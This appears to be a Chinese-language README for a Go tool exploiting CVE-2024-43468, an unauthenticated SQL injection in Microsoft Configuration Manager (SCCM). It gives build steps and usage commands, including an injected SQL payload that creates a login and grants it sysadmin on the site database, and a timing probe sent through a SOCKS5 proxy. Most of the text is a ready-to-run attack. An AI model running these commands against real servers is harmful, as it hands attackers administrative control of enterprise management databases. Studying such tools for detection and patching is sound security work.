使用 macOS 钥匙串进行 mTLS 认证(无需从钥匙串导出密钥)的 CVE-2024-43468 利用的 Go 实现。
此外:
基于:
利用 Microsoft Configuration Manager(ConfigMgr / SCCM)中未经认证的 SQL 注入漏洞,允许具有管理点网络访问权限的攻击者在站点数据库上执行任意 SQL 查询。
受影响版本:
# 克隆仓库
git clone https://github.com/nikallass/CVE-2024-43468_mTLS_go
cd CVE-2024-43468_mTLS_go
# 安装依赖
go get github.com/google/uuid
go get golang.org/x/net/proxy
# 编译
go build -o sccm
# 显示帮助
./sccm -h
# 基本用法(创建新管理员)
./sccm -t https://sccm-mp.local \
-sql "create login user123 with password = 'Password123'; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin'" \
-cn "CertificateCommonName"
# 使用自定义代理(通过 sleep 5 测试)
./sccm -t https://sccm-mp.local \
-sql "WAITFOR DELAY '0:0:5'" \
-cn "CertificateCommonName" \
-proxy "127.0.0.1:9050"
-t : 目标 URL(必需)-sql : 要执行的 SQL 查询(必需)-cn : macOS 钥匙串中的证书通用名称(必需)-proxy : SOCKS5 代理地址(默认:空)